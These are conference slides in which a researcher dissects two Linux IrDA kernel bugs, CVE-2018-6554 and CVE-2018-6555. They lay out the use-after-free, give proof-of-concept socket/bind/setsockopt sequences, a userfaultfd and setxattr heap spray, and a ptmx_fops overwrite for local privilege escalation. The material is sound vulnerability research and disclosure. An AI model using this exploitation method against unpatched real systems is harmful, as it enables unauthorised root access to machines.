Dissecting a 17-year-old kernel bug

Vitaly Nikolenko
beVX 2018 - Hong Kong

https://www.beyondsecurity.com/bevcon/
Agenda

• Vulnerability analysis
  • CVE-2018-6554^ - memory leak
  • CVE-2018-6555^ - privilege escalation
• Exploitation / PoC

CVE-2018-655[45]

- Bugs in IrDA subsystem (generally compiled as a module but can be auto-loaded)
  
  ```
  socket(AF_IRDA, 0x5, 0);
  ```

- CVEs were released a couple of weeks ago

- The vulnerability was introduced in 2.4.17 (21 Dec 2001)

- Affecting all kernel versions up to 4.17 (IrDA subsystem was removed)

- Most distributions are affected!
CVE-2018-6554
Denial of Service

Memory leak in the irda_bind function in net/irda/af_irda.c and later in drivers/staging/irda/net/af_irda.c in the Linux kernel before 4.17 allows local users to cause a denial of service (memory consumption) by repeatedly binding an AF_IRDA socket. (CVE-2018-6554)

CVE-2018-6554
Denial of Service (irda_bind)

static int irda_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len) {
    struct sock *sk = sock->sk;
    struct irda_sock *self = irda_sk(sk);

    ...

[1] self->ias_obj = irias_new_object(addr->sir_name, jiffies);
    if (self->ias_obj == NULL)
        return -ENOMEM;

[2] err = irda_open_tsap(self, addr->sir_lsap_sel, addr->sir_name);
    if (err < 0) {
        irias_delete_object(self->ias_obj);
        self->ias_obj = NULL;
        return err;
    }

[3] irias_insert_object(self->ias_obj);
CVE-2018-6554
Denial of Service (irda_bind)

```c
struct sockaddr_irda sa;

fd = socket(AF_IRDA, 0x5, 0);

memset(&sa, 0, sizeof(sa));
sa.sir_family = 4;
sa.sir_lsap_sel = 0x4a;
sa.sir_addr = 0x3;
sa.sir_name[0] = 'c';

bind(fd, (struct sockaddr*)&sa, sizeof(sa));
bind(fd, (struct sockaddr*)&sa, sizeof(sa));
```
Hashbin Queue
net/irda/irqueue.c

- Specific to IrDa implementation
- Chained hash table + queue
- Doubly-linked list (q_prev and q_next pointers)
- Enqueue - insert a new element at the front of the queue; dequeue - remove arbitrary elements
Hashbin Queue
net/irda/irqueue.c

• Two operations to manipulate the hashbin queue layout:
  
  • Removing elements from the queue
    
    close()
    
    irda_destroy_socket()
    
    dequeue_general()

  • Adding new elements to the queue
    
    bind()
    
    irda_bind()
    
    enqueue_first()

    setsockopt()
    
    irda_setsockopt()
    
    enqueue_first()
Manipulating the queue
decodeque_general()

static irda_queue_t *dequeue_general(irda_queue_t **queue, irda_queue_t* element)
{
    ...
    if ( *queue == NULL ) {
        /* Queue was empty. */
    } else if ( (*queue)->q_next == *queue ) {
        /* Queue only contained a single element. It will now be empty. */
        *queue = NULL;
    } else {
        /* Remove specific element. */
        element->q_prev->q_next = element->q_next;
        element->q_next->q_prev = element->q_prev;
        if ( (*queue) == element )
            (*queue) = element->q_next;
    }
}
Manipulating the queue

enqueue_first()

```c
static void enqueue_first(irda_queue_t **queue, irda_queue_t* element) {
    IRDA_DEBUG( 4, "%s\n", __func__); 

    /*
    * Check if queue is empty.
    */
    if ( *queue == NULL ) {
        /*
        * Queue is empty. Insert one element into the queue.
        */
        element->q_next = element->q_prev = *queue = element;
    } else { 
        /*
        * Queue is not empty. Insert element into front of queue.
        */
        element->q_next = (*queue);
        (*queue)->q_prev->q_next = element;
        element->q_prev = (*queue)->q_prev;
        (*queue)->q_prev = element;
        (*queue) = element;
    }
}
```
Manipulating the queue

Global queue

- Global hashbin_t *irias_objects
  
  (gdb) ptype irias_objects
  type = struct hashbin_t {
    __u32 magic;
    int hb_type;
    int hb_size;
    spinlock_t hb_spinlock;
    irda_queue_t *hb_queue[8];
    irda_queue_t *hb_current;
  }

- 56 byte objects —> kmalloc_64 (kzalloc’d in irias_new_object())
  
  (gdb) ptype irias_objects->hb_queue
  type = struct irda_queue {
    struct irda_queue *q_next;
    struct irda_queue *q_prev;
    char q_name[32];
    long q_hash;
  } *[8]
Manipulating the queue
enqueue_first()

- When binding, the ias_obj gets inserted into
  irias_objects->hb_queue[3]

memset(&sa, 0, sizeof(sa));
sa.sir_family = 4;
sa.sir_lsap_sel = 0x4a;
sa.sir_addr = 0x3;
sa.sir_name[0] = ‘c’;

bind(fd, (struct sockaddr*)&sa, sizeof(sa));
Inserting a new ias_obj
enqueue_first(...)
Removing s2 ias_obj
dequeue_general(...)

element->q_prev->q_next = element->q_next;
element->q_next->q_prev = element->q_prev;
if ( (*queue) == element)
    (*queue) = element->q_next;
The irda_setsockopt() function conditionally allocates memory for a new self->ias_object or, in some cases, reuses the existing self->ias_object. Existing objects were incorrectly reinserted into the LM_IAS database which corrupted the doubly linked list used for the hashbin implementation of the LM_IAS database. When combined with a memory leak in irda_bind(), this issue could be leveraged to create a use-after-free vulnerability in the hashbin list.

The vulnerability is that we can “reinsert” the same
\texttt{ias\_obj} object into the queue via \texttt{irda\_setsockopt()}!

```c
static int irda_setsockopt(struct socket *sock, int level, int optname,
                          char __user *optval, unsigned int optlen)
{
    ...
    switch (optname) {
        case IRLMP_IAS_SET:
            ...
            /* Find the object we target.
             * If the user gives us an empty string, we use the object
             * associated with this socket. This will workaround
             * duplicated class name - Jean II */
            [1] if(ias_opt->irda_class_name[0] == '\0') {
                if(self->ias_obj == NULL) {
                    kfree(ias_opt);
                    err = -EINVAL;
                    goto out;
                }
            } [2] ias_obj = self->ias_obj;
            } else
            ias_obj = irias_find_object(ias_opt->irda_class_name);
            ...
            [3] irias_insert_object(ias_obj);
    }

[1] if(ias_opt->irda_class_name[0] == '\0') {
    if(self->ias_obj == NULL) {
        kfree(ias_opt);
        err = -EINVAL;
        goto out;
    }
}
[2] ias_obj = self->ias_obj;
```

LPE
CVE-2018-6555

Single object

- Reinsert a single object

```c
int irda_bind(int fd, u_int16_t family, u_int8_t lsap_sel,
               int sir_addr)
{
    struct sockaddr_irda sa;

    memset(&sa, 0, sizeof(sa));
    sa.sir_family = family;
    sa.sir_lsap_sel = lsap_sel;
    sa.sir_addr = sir_addr;

    sa.sir_name[0] = 'c';
    bind(fd, (struct sockaddr*)&sa, sizeof(sa));

    // ...
CVE-2018-6555
Reinserting s1

```c
enqueue_first(s1);
```

![Diagram of reinserting s1 into a queue with queue head ptr]
CVE-2018-6555
Two objects

• Reinsert s1 or s2:

```
fd1 = socket(AF_IRDA, 0x5, 0);
fd2 = socket(AF_IRDA, 0x5, 0);

irda_bind(fd1, 4, 0x4a, 0x3, "c"); // insert s1
irda_bind(fd2, 4, 0x4b, 0x3, "c"); // insert s2

setsockopt(fd2, IRLMP_IAS_SET, &irda_set, ...); // reinsert s2
```
CVE-2018-6555
Reinsert s2

queue head
ptr

enqueue_first(s2);

queue head
ptr
UAF

1. Create 3 IrDA sockets and bind them

2. Reinsert the middle (second) socket `ias_object` with `irda_setsockopt()`

3. Close the 2nd socket

4. Close the 3rd socket and trigger UAF 8-byte write (`q_prev` member)
Step 1
Bind 3 IrDa sockets

fd1 = socket(0x17, 0x5, 0);
fd2 = socket(0x17, 0x5, 0);
fd3 = socket(0x17, 0x5, 0);
irda_bind(fd1, 4, 0x4a, 0x3, "c");
irda_bind(fd2, 4, 0x4b, 0x3, "c");
irda_bind(fd3, 4, 0x4c, 0x3, "c");
Step 2a
Reinsert s2

element->q_next = (*queue);
(*queue)->q_prev->q_next = element;
element->q_prev = (*queue)->q_prev;
(*queue)->q_prev = element;
(*queue) = element;
Step 2b
Reinsert s2

```
element->q_next = (*queue);
(*queue)->q_prev->q_next = element;
element->q_prev = (*queue)->q_prev;
(*queue)->q_prev = element;
(*queue) = element;
```
Step 2c
Reinsert s2

```c
element->q_next = (*queue);
(*queue)->q_prev->q_next = element;
```

```c
element->q_prev = (*queue)->q_prev;
(*queue)->q_prev = element;
(*queue) = element;
```
Step 2d
Reinsert s2

```
element->q_next = (*queue);
(*queue)->q_prev->q_next = element;
element->q_prev = (*queue)->q_prev;
(*queue)->q_prev = element;
(*queue) = element;
```
Step 2e
Reinsert s2

```
   element->q_next = (*queue);
   (*queue)->q_prev->q_next = element;
   element->q_prev = (*queue)->q_prev;
   (*queue)->q_prev = element;
   (*queue) = element;
```
Step 2e
Reinsert s2

```c
element->q_next = (*queue);
(*queue)->q_prev->q_next = element;
element->q_prev = (*queue)->q_prev;
(*queue)->q_prev = element;
(*queue) = element;
```
Step 3
Close s2

element->q_prev->q_next = element->q_next;
element->q_next->q_prev = element->q_prev;
if ( (*queue) == element)
  (*queue) = element->q_next;
Step 4a
Close s3 and first UAF

```
element->q_prev->q_next = element->q_next;
element->q_next->q_prev = element->q_prev;
if ( (*queue) == element)
    (*queue) = element->q_next;
```

UAF write with 0xffff8800xxxxxxxxx
Step 4b
Updating the Q head

```c
element->q_prev->q_next = element->q_next;
element->q_next->q_prev = element->q_prev;
if ( (*queue) == element)
    (*queue) = element->q_next;
```
Step 4b
First UAF - summary

- Can overwrite the objects `q_prev` ptr (i.e. fixed offset: +8 bytes)

- Don’t control the `value we overwrite with` (address of the s1 object `0xffff8800xxxxxxxx`)

- If `0xffff8800xxxxxxxx` was executable, could place the payload there :(

  kernel tried to execute NX-protected page - exploit attempt?
Step 5
Bind 4th socket

```
element->q_next = (*queue);
(*queue)->q_prev->q_next = element;
element->q_prev = (*queue)->q_prev;
(*queue)->q_prev = element;
(*queue) = element;
```
Exploitation
SE to identify UAF

- Model hashbin implementation in user space; `enqueue_first()`, `dequeue_general()`, struct definitions, etc.

- Model `kmalloc/kfree` (struct member `{freed: 1}`)

- Set assertions on `q_prev` and `q_next` dereferences when the object is freed (`freed == 0`)

- The input can be taken as sequence of enqueue and dequeue operations: `e1d1e2e3e2...`

- KLEE: symbolically executes LLVM bit code (.bc files)
Exploitation
Heap “spray”

• Before binding the last (4th) socket, allocate a controlled object $X$ ($32 < \text{sizeof}(X) \leq 64$)

```c
struct irda_queue {
    struct irda_queue *q_next;
    struct irda_queue *q_prev;
    char q_name[32];
    long q_hash;
};
```

• The `q_prev` should be the address whose value will be overwritten with the address of the s4 sock object
Exploitation
Heap “spray”

- Requirements:
  - Need to control the address at offset +8 bytes
  - The object must “stay” in the kernel
  - Public heap sprays `add_key()`, `msgsnd()`, `send[m]msg()` won’t work here
Exploitation
Heap “spray”

• `userfaultfd()` - create a file descriptor for handling page faults in user space

• Creates a separate thread for handling page faults; e.g., `uaddr = malloc(0x500000, 0x1000, ...)` and then handle page faults in a separate thread in your program when dereferencing `0x500000–0x501000` range

• Can delay and keep kmalloc’d objects in kernel space!
Exploitation

Heap “spray”

```c
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
    size_t size, int flags)
{
    ...
    if (size) {
        if (size > XATTR_SIZE_MAX)
            return -E2BIG;
        kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
        if (!kvalue) {
            vvalue = vmalloc(size);
            if (!vvalue)
                return -ENOMEM;
            kvalue = vvalue;
        }
        if (copy_from_user(kvalue, value, size)) {
            error = -EFAULT;
            goto out;
        }
    }
    ...
out:
    if (vvalue)
        vfree(vvalue);
    else
        kfree(kvalue);
```
Exploitation
Heap “spray”

void *addr = mmap(0x500000, 0x2000, ...);

struct ias_obj *a = (0x500000 + 0x1000) - X;

userfaultfd on 2nd page
Exploitation
Heap “spray”

1. a->q_prev = kern_addr_to_overwrite;

2. Call setxattr() on the mmaped addr at (0x500000 + 0x1000) - X

3. Trigger the 2nd UAF by inserting the 4th ias_obj
Exploitation
What address to overwrite?

- We don’t control the value we overwrite with! —> 0xffffffff8800xxxxxxxx

- Basic ret2usr is easy
  
  - Exploit misalignment for some global struct with function pointers
  
  - For example, two unused function pointers next to each other in `ptmx_fops`
Exploitation
What address to overwrite?

(gdb) p ptmx_fops
$17 = {owner = 0x0, llseek = 0x0, read = 0x0, write = 0x0,
read_iter = 0x0, write_iter = 0x0, iterate = 0x0, poll =
0x0,
unlocked_ioctl = 0x0, compat_ioctl = 0x0, mmap = 0x0, open =
0x0,
flush = 0x0, release = 0x0, fsync = 0x0, aio_fsync = 0x0,
fasync = 0x0, lock = 0x0, sendpage = 0x0, get_unmapped_area
= 0x0,
check_flags = 0x0, flock = 0x0, splice_write = 0x0,
splice_read = 0x0,
setlease = 0x0, fallocate = 0x0, show_fdinfo = 0x0}

(gdb) p/x (unsigned long)&ptmx_fops->aio_fsync + 4
$18 = 0xffffffff8211761c
Exploitation

What address to overwrite?

Overwriting with 0xffff8800aabbccdd

Mapped in user space and triggered with

```c
fcntl(fd, F_SETFL, flags | FASYNC);
fsync(fd);
```
Exploitation

Summary

1. Create 4 IrDa sockets and bind the first 3

2. Reinsert the middle object

3. Close the second 2nd socket

4. Allocate object X in kmalloc-64, then close the 3rd socket (first UAF)

5. Reallocate X (w/ \texttt{q\_prev} pointing to target address) and bind the 4th socket
DEMO
Questions?

@vnik5287
vnik@cyseclabs.com